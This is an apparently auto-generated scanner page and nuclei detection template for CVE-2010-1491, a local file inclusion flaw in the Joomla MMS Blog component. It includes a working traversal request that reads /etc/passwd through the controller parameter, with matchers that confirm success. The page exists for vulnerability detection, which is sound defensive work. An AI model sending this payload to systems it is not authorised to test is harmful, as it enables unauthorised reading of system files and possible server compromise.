Joomla! Component MMS Blog 2.3.0 - Local File Inclusion

mediumseverity

5CVSS score

13.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the MMS Blog (com_mmsblog) component 2.3.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the Joomla! CMS.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1491 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1491

info:
  name: Joomla! Component MMS Blog 2.3.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the MMS Blog (com_mmsblog) component 2.3.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the Joomla! CMS.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12318
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1491
    - http://packetstormsecurity.org/1004-exploits/joomlammsblog-lfi.txt
    - http://www.exploit-db.com/exploits/12318
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1491
    cwe-id: CWE-22
    epss-score: 0.13598
    epss-percentile: 0.96496
    cpe: cpe:2.3:a:mms.pipp:com_mmsblog:2.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mms.pipp
    product: com_mmsblog
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,mms.pipp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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